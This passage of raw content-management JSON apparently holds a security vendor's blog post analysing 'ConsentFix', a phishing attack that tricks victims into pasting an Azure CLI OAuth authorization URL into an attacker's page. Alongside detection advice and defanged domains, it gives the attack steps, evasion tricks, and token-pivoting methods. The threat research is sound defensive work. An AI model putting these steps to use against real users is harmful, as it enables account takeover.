surface.",{"data":69969,"content":69970,"nodeType":866},{},[69971,69974,69981,69984,69991,69994,70001],{"data":69972,"marks":69973,"value":32401,"nodeType":865},{},[],{"data":69975,"content":69976,"nodeType":882},{"uri":22700},[69977],{"data":69978,"marks":69979,"value":22706,"nodeType":865},{},[69980],{"type":997},{"data":69982,"marks":69983,"value":2186,"nodeType":865},{},[],{"data":69985,"content":69986,"nodeType":882},{"uri":22712},[69987],{"data":69988,"marks":69989,"value":32419,"nodeType":865},{},[69990],{"type":997},{"data":69992,"marks":69993,"value":22722,"nodeType":865},{},[],{"data":69995,"content":69996,"nodeType":882},{"uri":1728},[69997],{"data":69998,"marks":69999,"value":22730,"nodeType":865},{},[70000],{"type":997},{"data":70002,"marks":70003,"value":1048,"nodeType":865},{},[],{"entries":70005},{"hyperlink":70006,"inline":70007,"block":70008},[],[],[70009,70014,70039,70044,70083,70090,70096,70099,70102,70165,70191,70198],{"sys":70010,"__typename":1747,"title":70011,"caption":70011,"layoutMode":59,"file":70012},{"id":69478},"ConsentFix attack breakdown: The victim is tricked into copy-and-pasting a URL containing OAuth key material into a phishing page.",{"url":70013,"width":1759,"height":16},"https://images.ctfassets.net/y1cdw1ablpvd/tbetqlx85alVSg3LbHw8m/793ee588bd0347f6d1497b882b4a9f3f/image6.png",{"sys":70015,"__typename":9270,"content":70016,"name":70038,"title":59},{"id":69491},{"json":70017},{"nodeType":1739,"data":70018,"content":70019},{},[70020],{"nodeType":866,"data":70021,"content":70022},{},[70023,70027,70034],{"nodeType":865,"value":70024,"marks":70025,"data":70026},"This attack is best understood as post-authentication. If the victim is already signed in to Microsoft in their browser, they simply need to select their account name from a drop-down menu. There’s almost no friction — no credential entry or MFA checks. This is very similar to ",[],{},{"nodeType":882,"data":70028,"content":70029},{"uri":1384},[70030],{"nodeType":865,"value":29100,"marks":70031,"data":70033},[70032],{"type":997},{},{"nodeType":865,"value":70035,"marks":70036,"data":70037},", another OAuth-based phishing technique, which we’ve seen increase 37x this year. More on that later. ",[],{},"ConsentFix v3 IB1",{"sys":70040,"__typename":1747,"title":70041,"caption":70041,"layoutMode":59,"file":70042},{"id":69516},"John Hammond showed off a slick new ConsentFix implementation.",{"url":70043,"width":66171,"height":18187},"https://images.ctfassets.net/y1cdw1ablpvd/1bjvJgwJQYYITray4cgquD/056744beab8fd24153b1c42b73090aeb/consentfix_v2.gif",{"sys":70045,"__typename":9270,"content":70046,"name":70082,"title":59},{"id":69522},{"json":70047},{"nodeType":1739,"data":70048,"content":70049},{},[70050],{"nodeType":866,"data":70051,"content":70052},{},[70053,70057,70065,70069,70078],{"nodeType":865,"value":70054,"marks":70055,"data":70056},"We recently joined forces with John in a webinar where we showed off ConsentFix along with a host of other browser-based attacks. If you joined us, you’ll have already had a quick look at what we’re about to talk about below! ",[],{},{"nodeType":882,"data":70058,"content":70059},{"uri":38666},[70060],{"nodeType":865,"value":70061,"marks":70062,"data":70064},"You can watch it on-demand here.",[70063],{"type":997},{},{"nodeType":865,"value":70066,"marks":70067,"data":70068}," And you can watch John’s follow up on ",[],{},{"nodeType":882,"data":70070,"content":70072},{"uri":70071},"https://www.youtube.com/watch?v=T3oVdPCMDJw",[70073],{"nodeType":865,"value":70074,"marks":70075,"data":70077},"ConsentFix v3",[70076],{"type":997},{},{"nodeType":865,"value":70079,"marks":70080,"data":70081}," here — definitely worth a watch as always! ",[],{},"ConsentFix v3 IB2",{"sys":70084,"__typename":1747,"title":70085,"caption":70085,"layoutMode":59,"file":70086},{"id":69559},"XSS forum post on ConsentFix v3",{"url":70087,"width":70088,"height":70089},"https://images.ctfassets.net/y1cdw1ablpvd/KSVQYgv1VDhIF19jUcaOc/81fc5771fd4ce4fbe38d0d138f7970a6/image3.png",1915,1079,{"sys":70091,"__typename":1747,"title":70092,"caption":70092,"layoutMode":59,"file":70093},{"id":69565},"Description of ConsentFix v3 complete with summary video.",{"url":70094,"width":70095,"height":70089},"https://images.ctfassets.net/y1cdw1ablpvd/stbiG200DHN4huH6iaCQg/d1db13d4e04c4c528ce35320b05f4d3d/image12.png",1919,{"sys":70097,"__typename":12453,"title":70074,"arcadeDemoUrl":70098,"playText":12456},{"id":69571},"https://demo.arcade.software/BO6Dc4lxhzlgHHvEeWi9?embed",{"sys":70100,"__typename":1747,"title":66167,"caption":66168,"layoutMode":59,"file":70101},{"id":19332},{"url":66170,"width":66171,"height":18187},{"sys":70103,"__typename":9270,"content":70104,"name":70164,"title":59},{"id":69782},{"json":70105},{"nodeType":1739,"data":70106,"content":70107},{},[70108,70115],{"nodeType":866,"data":70109,"content":70110},{},[70111],{"nodeType":865,"value":70112,"marks":70113,"data":70114},"The different application IDs that attackers can target here vary a little per technique based on the auth flows supported. FOCI apps present the broadest utility (particularly for non-admin targets) and can be targeted via both device code phishing and ConsentFix. In practice, this means an attacker who phishes a token for one app can silently pivot to access Outlook, Teams, OneDrive, SharePoint, and so on via API.",[],{},{"nodeType":866,"data":70116,"content":70117},{},[70118,70122,70130,70134,70139,70143,70148,70152,70160],{"nodeType":865,"value":70119,"marks":70120,"data":70121},"If they want to take it even further, they can use the well-known ",[],{},{"nodeType":882,"data":70123,"content":70124},{"uri":29571},[70125],{"nodeType":865,"value":70126,"marks":70127,"data":70129},"Primary Refresh Token (PRT) escalation technique",[70128],{"type":997},{},{"nodeType":865,"value":70131,"marks":70132,"data":70133}," to get seamless SSO across ",[],{},{"nodeType":865,"value":70135,"marks":70136,"data":70138},"all",[70137],{"type":944},{},{"nodeType":865,"value":70140,"marks":70141,"data":70142}," Entra ID-connected applications and web services (basically upgrading to normal browser-level access). This requires that you specifically target the ",[],{},{"nodeType":865,"value":70144,"marks":70145,"data":70147},"Microsoft Authentication Broker",[70146],{"type":961},{},{"nodeType":865,"value":70149,"marks":70150,"data":70151}," application, chaining it into a new device registration in the victim's environment. (This is the method that ",[],{},{"nodeType":882,"data":70153,"content":70154},{"uri":29668},[70155],{"nodeType":865,"value":70156,"marks":70157,"data":70159},"Storm-2372",[70158],{"type":997},{},{"nodeType":865,"value":70161,"marks":70162,"data":70163}," used in a major 2025 device code phishing campaign.)",[],{},"ConsentFix v3 IB3",{"sys":70166,"__typename":9270,"content":70167,"name":70190,"title":59},{"id":69877},{"json":70168},{"data":70169,"content":70170,"nodeType":1739},{},[70171],{"data":70172,"content":70173,"nodeType":866},{},[70174,70177,70186],{"data":70175,"marks":70176,"value":21,"nodeType":865},{},[],{"data":70178,"content":70180,"nodeType":882},{"uri":70179},"https://entrascopes.com/?foci=true",[70181],{"data":70182,"marks":70183,"value":70185,"nodeType":865},{},[70184],{"type":997},"This is a great resource",{"data":70187,"marks":70188,"value":70189,"nodeType":865},{},[]," from Fabian Bader and Dirk-jan Mollema enabling you to search through first-party Microsoft apps, resource IDs, FOCI apps, apps with conditional access exclusions, and those vulnerable to ConsentFix attacks. You’d need to go through the process of creating Service Principals for them and assign specific users based on required access. You’d want to do this for all of the apps that come with pre-consented permissions, conditional access exclusions, FOCI, and so on. But of course if an assigned user gets phished, the attack can still succeed. ","ConsentFix v3 IB4",{"sys":70192,"__typename":1747,"title":70193,"caption":70193,"layoutMode":59,"file":70194},{"id":69922},"When users attempt to visit malicious sites that trigger our detections, they are redirected to a safe URL and shown a customizable block screen.",{"url":70195,"width":70196,"height":70197},"https://images.ctfassets.net/y1cdw1ablpvd/2losZN7HBexdcDRlMGYMA6/0c24a2abdcc154c9faa33750db1eaed0/image4.png",1440,767,{"sys":70199,"__typename":1747,"title":70200,"caption":70200,"layoutMode":59,"file":70201},{"id":69945},"Device code phishing customizable warning banner.",{"url":70202,"width":70203,"height":70204},"https://images.ctfassets.net/y1cdw1ablpvd/21kgdVDgvY6yI4cUzZ5eth/51fbb6782e10e4a23b37b020d8b288de/image10.png",1367,859,{"items":70206},[],{},"Investigating a new criminal toolkit for ConsentFix",{"items":70210},[70211,71069,73786],{"__typename":1788,"sys":70212,"content":70213,"title":60304,"synopsis":71057,"hashTags":59,"publishedDate":71058,"slug":60305,"tagsCollection":71059,"authorsCollection":71065},{"id":15510},{"json":70214},{"data":70215,"content":70216,"nodeType":1739},{},[70217,70225,70232,70239,70246,70258,70265,70271,70277,70280,70288,70295,70302,70308,70328,70335,70341,70348,70354,70361,70404,70410,70416,70423,70430,70433,70441,70461,70468,70474,70492,70498,70517,70524,70527,70535,70542,70586,70598,70601,70609,70626,70633,70649,70656,70663,70669,70676,70679,70687,70694,70747,70754,70757,70765,70771,70778,70785,70791,70798,70831,70838,70845,70851,70858,70864,70871,70888,70895,70928,70935,70968,70971,70979,70986,70992,71011,71018,71045,71051],{"data":70218,"content":70219,"nodeType":963},{},[70220],{"data":70221,"marks":70222,"value":70224,"nodeType":865},{},[70223],{"type":961},"Introducing “ConsentFix” — a new kind of phishing attack",{"data":70226,"content":70227,"nodeType":866},{},[70228],{"data":70229,"marks":70230,"value":70231,"nodeType":865},{},[],"The Push browser agent recently detected and blocked a new attack technique seen targeting several Push customers. ",{"data":70233,"content":70234,"nodeType":866},{},[70235],{"data":70236,"marks":70237,"value":70238,"nodeType":865},{},[],"This is a new kind of browser-based attack technique that takes over user accounts with a simple copy and paste. If you’re already logged into the app in your browser, you don’t even need to supply creds, or pass an MFA check — meaning it effectively circumvents phishing-resistant auth like passkeys too.",{"data":70240,"content":70241,"nodeType":866},{},[70242],{"data":70243,"marks":70244,"value":70245,"nodeType":865},{},[],"This is so different from the AiTM phish kits we usually come up against that we felt it deserved a new name. ",{"data":70247,"content":70248,"nodeType":866},{},[70249,70254],{"data":70250,"marks":70251,"value":70253,"nodeType":865},{},[70252],{"type":961},"Enter: ConsentFix. ",{"data":70255,"marks":70256,"value":70257,"nodeType":865},{},[],"This attack shares a lot of similarities with ClickFix/FileFix, AiTM phishing, and OAuth Consent Phishing. You can think of this as a browser-native ClickFix attack that phishes an OAuth token on a target app by getting the victim to copy and paste a URL containing OAuth key material into a phishing page. ",{"data":70259,"content":70260,"nodeType":866},{},[70261],{"data":70262,"marks":70263,"value":70264,"nodeType":865},{},[],"The campaign we detected looks to be specifically targeting Microsoft accounts by abusing the Azure CLI OAuth app. Essentially, the attacker tricks the victim into logging into Azure CLI, by generating an OAuth authorization code — visible in a localhost URL — and then pasting that URL (including the code) into an attacker-controlled page. This then creates an OAuth connection between the victim’s Microsoft account and the attacker’s Azure CLI instance. ",{"data":70266,"content":70270,"nodeType":925},{"target":70267},{"sys":70268},{"id":70269,"type":922,"linkType":923},"5GTnqWIbmraz8HZeHMybrP",[],{"data":70272,"content":70276,"nodeType":925},{"target":70273},{"sys":70274},{"id":70275,"type":922,"linkType":923},"1lcjX5q3b1bsuhyOXKvJpW",[],{"data":70278,"content":70279,"nodeType":953},{},[],{"data":70281,"content":70282,"nodeType":963},{},[70283],{"data":70284,"marks":70285,"value":70287,"nodeType":865},{},[70286],{"type":961},"How ConsentFix works",{"data":70289,"content":70290,"nodeType":866},{},[70291],{"data":70292,"marks":70293,"value":70294,"nodeType":865},{},[],"In all of the examples we saw, the victim accessed a malicious or compromised webpage via Google Search. The vast majority of the sites we’ve seen associated with the campaign are legitimate, compromised websites with high domain reputation that are easily findable via search engines.",{"data":70296,"content":70297,"nodeType":866},{},[70298],{"data":70299,"marks":70300,"value":70301,"nodeType":865},{},[],"The attacker had injected a fake Cloudflare Turnstile into the compromised websites, requiring an email address to be supplied in order to proceed. ",{"data":70303,"content":70307,"nodeType":925},{"target":70304},{"sys":70305},{"id":70306,"type":922,"linkType":923},"39jEjeLqOYIkGc4o9w3MuX",[],{"data":70309,"content":70310,"nodeType":866},{},[70311,70315,70324],{"data":70312,"marks":70313,"value":70314,"nodeType":865},{},[],"This acted as a form of ",{"data":70316,"content":70318,"nodeType":882},{"uri":70317},"https://phishing-techniques.pushsecurity.com/techniques/conditional-loading/",[70319],{"data":70320,"marks":70321,"value":70323,"nodeType":865},{},[70322],{"type":997},"conditional loading",{"data":70325,"marks":70326,"value":70327,"nodeType":865},{},[]," that would only continue if a valid email address and domain was supplied, designed to prevent the page from being analyzed by security bots, analysts, and low-value accounts that run the risk of exposing the campaign before the intended recipient(s) can be phished. ",{"data":70329,"content":70330,"nodeType":866},{},[70331],{"data":70332,"marks":70333,"value":70334,"nodeType":865},{},[],"If a domain not on the target list was provided, the victim was passed back to the original website and the attack did not progress to the next stage. Further, once the check has concluded per IP, the phishing page will no longer activate, even a different email is provided.  ",{"data":70336,"content":70340,"nodeType":925},{"target":70337},{"sys":70338},{"id":70339,"type":922,"linkType":923},"7ttmGnTzi9j87tBXfyFcOA",[],{"data":70342,"content":70343,"nodeType":866},{},[70344],{"data":70345,"marks":70346,"value":70347,"nodeType":865},{},[],"After entering an approved email address, the next stage was loaded, prompting the victim to complete a set of instructions on the page to continue.",{"data":70349,"content":70353,"nodeType":925},{"target":70350},{"sys":70351},{"id":70352,"type":922,"linkType":923},"2oHYNoMgAz6MdgLlcWjbaB",[],{"data":70355,"content":70356,"nodeType":866},{},[70357],{"data":70358,"marks":70359,"value":70360,"nodeType":865},{},[],"To complete the attack, the victim must:",{"data":70362,"content":70363,"nodeType":1049},{},[70364,70374,70384,70394],{"data":70365,"content":70366,"nodeType":1003},{},[70367],{"data":70368,"content":70369,"nodeType":866},{},[70370],{"data":70371,"marks":70372,"value":70373,"nodeType":865},{},[],"Click the “Sign In” button. This opens a new tab that loads a legitimate Microsoft URL associated with the user account/email used to access the page.",{"data":70375,"content":70376,"nodeType":1003},{},[70377],{"data":70378,"content":70379,"nodeType":866},{},[70380],{"data":70381,"marks":70382,"value":70383,"nodeType":865},{},[],"If the user is already logged into Microsoft in their browser, they simply need to select their MS account from the dropdown. Otherwise, they will be required to login via the legitimate Microsoft login URL (no phishing takes place at this stage). ",{"data":70385,"content":70386,"nodeType":1003},{},[70387],{"data":70388,"content":70389,"nodeType":866},{},[70390],{"data":70391,"marks":70392,"value":70393,"nodeType":865},{},[],"Once logged into legit Microsoft or the account is selected from the dropdown, the user is redirected to localhost, which generates a URL containing a code associated with the user’s Microsoft account. ",{"data":70395,"content":70396,"nodeType":1003},{},[70397],{"data":70398,"content":70399,"nodeType":866},{},[70400],{"data":70401,"marks":70402,"value":70403,"nodeType":865},{},[],"To complete the phish, the victim copies the URL and pastes it onto the original page. ",{"data":70405,"content":70409,"nodeType":925},{"target":70406},{"sys":70407},{"id":70408,"type":922,"linkType":923},"7zendMbmCViGwtEpUQvq6y",[],{"data":70411,"content":70415,"nodeType":925},{"target":70412},{"sys":70413},{"id":70414,"type":922,"linkType":923},"1eZOs7hXi9FzCE92QEP6xh",[],{"data":70417,"content":70418,"nodeType":866},{},[70419],{"data":70420,"marks":70421,"value":70422,"nodeType":865},{},[],"Once the steps are completed, the victim has granted the attacker access to their Microsoft account via Azure CLI. ",{"data":70424,"content":70425,"nodeType":866},{},[70426],{"data":70427,"marks":70428,"value":70429,"nodeType":865},{},[],"At this point, the attacker has effective control of the victim’s Microsoft account, but without ever needing to phish a password, or pass an MFA check. In fact, if the user was already logged in to their Microsoft account (i.e. they had an active session) no login is required at all. ",{"data":70431,"content":70432,"nodeType":953},{},[],{"data":70434,"content":70435,"nodeType":963},{},[70436],{"data":70437,"marks":70438,"value":70440,"nodeType":865},{},[70439],{"type":961},"The next evolution of ClickFix?",{"data":70442,"content":70443,"nodeType":866},{},[70444,70448,70457],{"data":70445,"marks":70446,"value":70447,"nodeType":865},{},[],"When we presented ",{"data":70449,"content":70451,"nodeType":882},{"uri":70450},"https://pushsecurity.com/webinar/clickfix",[70452],{"data":70453,"marks":70454,"value":70456,"nodeType":865},{},[70455],{"type":997},"our last webinar on ClickFix",{"data":70458,"marks":70459,"value":70460,"nodeType":865},{},[],", we predicted that the next evolution of the attack would happen entirely within the browser context. This is because any attack that touches the endpoint (a traditionally much better protected surface) is way more likely to be detected. And with many ClickFix attacks being used to deliver infostealer malware, these attacks are really trying to get back into the browser anyway — to steal credentials and sessions stored there. ",{"data":70462,"content":70463,"nodeType":866},{},[70464],{"data":70465,"marks":70466,"value":70467,"nodeType":865},{},[],"Let’s take a closer look at the page — if you follow Push research, you might be getting déjà vu. ",{"data":70469,"content":70473,"nodeType":925},{"target":70470},{"sys":70471},{"id":70472,"type":922,"linkType":923},"1vMZCJ92IxFdR1EzzCOOvb",[],{"data":70475,"content":70476,"nodeType":866},{},[70477,70481,70489],{"data":70478,"marks":70479,"value":70480,"nodeType":865},{},[],"We’ve seen this kind of embedded video player before (albeit a slicker looking one) that we blogged about as ",{"data":70482,"content":70483,"nodeType":882},{"uri":38372},[70484],{"data":70485,"marks":70486,"value":70488,"nodeType":865},{},[70487],{"type":997},"the most advanced ClickFix we’d seen",{"data":70490,"marks":70491,"value":1048,"nodeType":865},{},[],{"data":70493,"content":70497,"nodeType":925},{"target":70494},{"sys":70495},{"id":70496,"type":922,"linkType":923},"ID7VKJNOZk729P5zBOBjZ",[],{"data":70499,"content":70500,"nodeType":866},{},[70501,70505,70513],{"data":70502,"marks":70503,"value":70504,"nodeType":865},{},[],"Another similarity with ClickFix campaigns we’ve investigated is the use of Google Search as a delivery vector. 4 in 5 ClickFix attacks intercepted by Push came via Google Search, with attackers using ",{"data":70506,"content":70508,"nodeType":882},{"uri":70507},"https://phishing-techniques.pushsecurity.com/techniques/malvertising/",[70509],{"data":70510,"marks":70511,"value":441,"nodeType":865},{},[70512],{"type":997},{"data":70514,"marks":70515,"value":70516,"nodeType":865},{},[]," and either compromised or custom vibe-coded websites to intercept users as they browse the internet. ",{"data":70518,"content":70519,"nodeType":866},{},[70520],{"data":70521,"marks":70522,"value":70523,"nodeType":865},{},[],"So it seems highly likely that this is a kind of browser-native evolution of ClickFix that shares many elements with typical ClickFix attacks, and is probably used by the same groups of attackers.",{"data":70525,"content":70526,"nodeType":953},{},[],{"data":70528,"content":70529,"nodeType":963},{},[70530],{"data":70531,"marks":70532,"value":70534,"nodeType":865},{},[70533],{"type":961},"OAuth shenanigans via Azure CLI",{"data":70536,"content":70537,"nodeType":866},{},[70538],{"data":70539,"marks":70540,"value":70541,"nodeType":865},{},[],"The clever use of Azure CLI and OAuth consent abuse is another clever iteration on previous techniques. ",{"data":70543,"content":70544,"nodeType":866},{},[70545,70549,70558,70561,70569,70573,70582],{"data":70546,"marks":70547,"value":70548,"nodeType":865},{},[],"We’ve previously seen ",{"data":70550,"content":70552,"nodeType":882},{"uri":70551},"https://phishing-techniques.pushsecurity.com/techniques/consent-phishing/",[70553],{"data":70554,"marks":70555,"value":70557,"nodeType":865},{},[70556],{"type":997},"consent phishing",{"data":70559,"marks":70560,"value":8756,"nodeType":865},{},[],{"data":70562,"content":70564,"nodeType":882},{"uri":70563},"https://phishing-techniques.pushsecurity.com/techniques/device-code-phishing/",[70565],{"data":70566,"marks":70567,"value":29100,"nodeType":865},{},[70568],{"type":997},{"data":70570,"marks":70571,"value":70572,"nodeType":865},{},[]," attacks where attackers have tricked victims into connecting malicious external apps into their tenant via OAuth, but this is becoming increasingly difficult in core enterprise cloud environments like Azure due to ",{"data":70574,"content":70576,"nodeType":882},{"uri":70575},"https://learn.microsoft.com/en-us/microsoft-365/admin/misc/user-consent?view=o365-worldwide",[70577],{"data":70578,"marks":70579,"value":70581,"nodeType":865},{},[70580],{"type":997},"stricter default configs",{"data":70583,"marks":70584,"value":70585,"nodeType":865},{},[],". However, since Azure CLI is a first-party Microsoft app, it is implicitly trusted in Entra ID, and is excluded from these restrictions. ",{"data":70587,"content":70588,"nodeType":866},{},[70589,70593],{"data":70590,"marks":70591,"value":70592,"nodeType":865},{},[],"First-party apps like Azure CLI are trusted by default in all tenants, allowed to request permissions without admin approval, and cannot be deleted or blocked. They can also be granted special permissions, such as tenant-wide service permissions (without needing admin approval), use of legacy or undocumented graph scopes, internal scopes for Microsoft client operations, and permissions for Office/Entra admin functions. ",{"data":70594,"marks":70595,"value":70597,"nodeType":865},{},[70596],{"type":961},"This makes Azure CLI a prime target for attackers, and significantly more exploitable than when connecting a third-party app. ",{"data":70599,"content":70600,"nodeType":953},{},[],{"data":70602,"content":70603,"nodeType":963},{},[70604],{"data":70605,"marks":70606,"value":70608,"nodeType":865},{},[70607],{"type":961},"Advanced detection evasion techniques",{"data":70610,"content":70611,"nodeType":866},{},[70612,70616,70622],{"data":70613,"marks":70614,"value":70615,"nodeType":865},{},[],"This campaign features some of the most advanced ",{"data":70617,"content":70618,"nodeType":882},{"uri":13634},[70619],{"data":70620,"marks":70621,"value":29898,"nodeType":865},{},[],{"data":70623,"marks":70624,"value":70625,"nodeType":865},{},[]," we've seen in the wild. ",{"data":70627,"content":70628,"nodeType":866},{},[70629],{"data":70630,"marks":70631,"value":70632,"nodeType":865},{},[],"As well as the use of Google Search to deliver the lure, and bot protection to prevent security tools from analyzing the page, there were multiple layers of anti-analysis techniques to navigate.",{"data":70634,"content":70635,"nodeType":866},{},[70636,70640,70645],{"data":70637,"marks":70638,"value":70639,"nodeType":865},{},[],"We already mentioned the use of selective targeting based on email addresses and domain names. But all sites involved in the campaign also have synchronized IP blocking — meaning if you visit one site and are served one of the associated phishing pages, the phish will never be served again, ",{"data":70641,"marks":70642,"value":70644,"nodeType":865},{},[70643],{"type":961},"across any of the sites linked to the campaign",{"data":70646,"marks":70647,"value":70648,"nodeType":865},{},[],". When you visit any of the sites again, the phish won't trigger, and it can be browsed as normal. ",{"data":70650,"content":70651,"nodeType":866},{},[70652],{"data":70653,"marks":70654,"value":70655,"nodeType":865},{},[],"On the backend, there are multiple checks based on your IP and identifiers unique to your session. Unless all of the conditions are met, certain JavaScript packages won't be served — preventing full inspection of the page to detect malicious elements. ",{"data":70657,"content":70658,"nodeType":866},{},[70659],{"data":70660,"marks":70661,"value":70662,"nodeType":865},{},[],"If the conditions aren't met, the page may not load the Cloudflare Turnstile check at all, or will redirect you back to the site to continue browsing as normal.",{"data":70664,"content":70668,"nodeType":925},{"target":70665},{"sys":70666},{"id":70667,"type":922,"linkType":923},"5v0zDoscA6pYLBfkXrNtIH",[],{"data":70670,"content":70671,"nodeType":866},{},[70672],{"data":70673,"marks":70674,"value":70675,"nodeType":865},{},[],"All of these make it incredibly hard to detect and block these attacks ahead of time when relying on URL-based checks and traffic analysis.",{"data":70677,"content":70678,"nodeType":953},{},[],{"data":70680,"content":70681,"nodeType":963},{},[70682],{"data":70683,"marks":70684,"value":70686,"nodeType":865},{},[70685],{"type":961},"Key takeaways",{"data":70688,"content":70689,"nodeType":866},{},[70690],{"data":70691,"marks":70692,"value":70693,"nodeType":865},{},[],"ConsentFix is a dangerous evolution of ClickFix and consent phishing that is incredibly hard for traditional security tools to detect and block, as:",{"data":70695,"content":70696,"nodeType":1049},{},[70697,70707,70717,70727,70737],{"data":70698,"content":70699,"nodeType":1003},{},[70700],{"data":70701,"content":70702,"nodeType":866},{},[70703],{"data":70704,"marks":70705,"value":70706,"nodeType":865},{},[],"The attack happens entirely inside the browser context, removing one of the key detection opportunities for ClickFix (because it doesn’t touch the endpoint).",{"data":70708,"content":70709,"nodeType":1003},{},[70710],{"data":70711,"content":70712,"nodeType":866},{},[70713],{"data":70714,"marks":70715,"value":70716,"nodeType":865},{},[],"Delivering the lure via a Google Search watering hole attack completely circumvents email-based anti-phishing controls.",{"data":70718,"content":70719,"nodeType":1003},{},[70720],{"data":70721,"content":70722,"nodeType":866},{},[70723],{"data":70724,"marks":70725,"value":70726,"nodeType":865},{},[],"Targeting a first-party app like Azure CLI means that many of the mitigating controls available for third-party app integrations do not apply — making this attack way harder to prevent.",{"data":70728,"content":70729,"nodeType":1003},{},[70730],{"data":70731,"content":70732,"nodeType":866},{},[70733],{"data":70734,"marks":70735,"value":70736,"nodeType":865},{},[],"Because there’s no login required, phishing-resistant authentication controls like passkeys have no impact on this attack. ",{"data":70738,"content":70739,"nodeType":1003},{},[70740],{"data":70741,"content":70742,"nodeType":866},{},[70743],{"data":70744,"marks":70745,"value":70746,"nodeType":865},{},[],"The use of advanced detection evasion techniques makes this attack difficult to investigate, meaning these attacks are going undetected. ",{"data":70748,"content":70749,"nodeType":866},{},[70750],{"data":70751,"marks":70752,"value":70753,"nodeType":865},{},[],"We’re sure to see more examples of ConsentFix in future. We’ll be monitoring to see how attackers adapt in terms of integrating these capabilities with common as-a-Service offerings to make them more widespread, and whether the scope extends further beyond Microsoft / Azure CLI targets in the future to target other enterprise cloud ecosystems. ",{"data":70755,"content":70756,"nodeType":953},{},[],{"data":70758,"content":70759,"nodeType":963},{},[70760],{"data":70761,"marks":70762,"value":70764,"nodeType":865},{},[70763],{"type":961},"Recommendations",{"data":70766,"content":70770,"nodeType":925},{"target":70767},{"sys":70768},{"id":70769,"type":922,"linkType":923},"3aBCwdB2aNnLRxRN5RrshC",[],{"data":70772,"content":70773,"nodeType":866},{},[70774],{"data":70775,"marks":70776,"value":70777,"nodeType":865},{},[],"On the backend, exploitation of this attack will lead to login events being observed to the Microsoft Azure CLI app. It’s likely that any legitimate use of this will most likely be limited to system administrators and possibly developers. Therefore, logins outside of these groups will be inherently more suspicious.",{"data":70779,"content":70780,"nodeType":866},{},[70781],{"data":70782,"marks":70783,"value":70784,"nodeType":865},{},[],"Additionally, it’s possible that aspects of the logins themselves will be different between legitimate Azure CLI use and exploitation of this attack. For example, see the following logs from a lab environment. The login events with an application of  “Microsoft Azure CLI” and a resource of “Azure Resource Manager” was legitimate use of the Azure CLI using the powershell CLI framework. Conversely, the login event with the Resource of “Windows Azure Active Directory” was produced by logging in using the method used by the phishing kit.",{"data":70786,"content":70790,"nodeType":925},{"target":70787},{"sys":70788},{"id":70789,"type":922,"linkType":923},"6ie0nkk6XbgwidfwmiGwL4",[],{"data":70792,"content":70793,"nodeType":866},{},[70794],{"data":70795,"marks":70796,"value":70797,"nodeType":865},{},[],"There is no guarantee this can be used to differentiate between legitimate and malicious examples, but it’s another data point to consider. If searching logs you may wish to use the respective GUIDs for these:",{"data":70799,"content":70800,"nodeType":1049},{},[70801,70816],{"data":70802,"content":70803,"nodeType":1003},{},[70804],{"data":70805,"content":70806,"nodeType":866},{},[70807,70812],{"data":70808,"marks":70809,"value":70811,"nodeType":865},{},[70810],{"type":961},"Application ID",{"data":70813,"marks":70814,"value":70815,"nodeType":865},{},[]," = 04b07795-8ddb-461a-bbee-02f9e1bf7b46",{"data":70817,"content":70818,"nodeType":1003},{},[70819],{"data":70820,"content":70821,"nodeType":866},{},[70822,70827],{"data":70823,"marks":70824,"value":70826,"nodeType":865},{},[70825],{"type":961},"Resource ID",{"data":70828,"marks":70829,"value":70830,"nodeType":865},{},[]," = 00000002-0000-0000-c000-000000000000",{"data":70832,"content":70833,"nodeType":866},{},[70834],{"data":70835,"marks":70836,"value":70837,"nodeType":865},{},[],"For interactive logins, like above, you cannot rely on looking for logins from suspicious IP addresses or locations. The login itself occurs from the victims browser directly to Microsoft, and so the IP addresses associated with these events will be the legitimate IP used by the target user, not by the threat actor. ",{"data":70839,"content":70840,"nodeType":866},{},[70841],{"data":70842,"marks":70843,"value":70844,"nodeType":865},{},[],"However, for non-interactive logins and other audit logs for actions taken, you may be able to uncover unusual IP addresses that differ from the original interactive login. For example, here are some non-interactive logins that were observed immediately after compromise that came from different IP addresses in both the US and Indonesia.",{"data":70846,"content":70850,"nodeType":925},{"target":70847},{"sys":70848},{"id":70849,"type":922,"linkType":923},"TD3YeWqgGIWIWM8FRHU4o",[],{"data":70852,"content":70853,"nodeType":866},{},[70854],{"data":70855,"marks":70856,"value":70857,"nodeType":865},{},[],"Interestingly, they differ in which resources they accessed, with one accessing the Windows Azure Active Directory resource ID like the interactive login, but two others accessing the Microsoft Intune Checkin resource ID. ",{"data":70859,"content":70863,"nodeType":925},{"target":70860},{"sys":70861},{"id":70862,"type":922,"linkType":923},"57PqDQiAiwzqkspVpROQXb",[],{"data":70865,"content":70866,"nodeType":1458},{},[70867],{"data":70868,"marks":70869,"value":22744,"nodeType":865},{},[70870],{"type":961},{"data":70872,"content":70873,"nodeType":866},{},[70874,70877,70884],{"data":70875,"marks":70876,"value":25047,"nodeType":865},{},[],{"data":70878,"content":70879,"nodeType":882},{"uri":13757},[70880],{"data":70881,"marks":70882,"value":13762,"nodeType":865},{},[70883],{"type":997},{"data":70885,"marks":70886,"value":70887,"nodeType":865},{},[]," in the attack chain, often dynamically serving different URLs to site visitors. ",{"data":70889,"content":70890,"nodeType":866},{},[70891],{"data":70892,"marks":70893,"value":70894,"nodeType":865},{},[],"That said, the domains used to deliver the final phishing payload were:",{"data":70896,"content":70897,"nodeType":1049},{},[70898,70908,70918],{"data":70899,"content":70900,"nodeType":1003},{},[70901],{"data":70902,"content":70903,"nodeType":866},{},[70904],{"data":70905,"marks":70906,"value":70907,"nodeType":865},{},[],"hxxps://trustpointassurance.com/",{"data":70909,"content":70910,"nodeType":1003},{},[70911],{"data":70912,"content":70913,"nodeType":866},{},[70914],{"data":70915,"marks":70916,"value":70917,"nodeType":865},{},[],"hxxps://fastwaycheck.com/",{"data":70919,"content":70920,"nodeType":1003},{},[70921],{"data":70922,"content":70923,"nodeType":866},{},[70924],{"data":70925,"marks":70926,"value":70927,"nodeType":865},{},[],"hxxps://previewcentral.com",{"data":70929,"content":70930,"nodeType":866},{},[70931],{"data":70932,"marks":70933,"value":70934,"nodeType":865},{},[],"In addition, we recommend hunting for connections from the following IPs in Azure 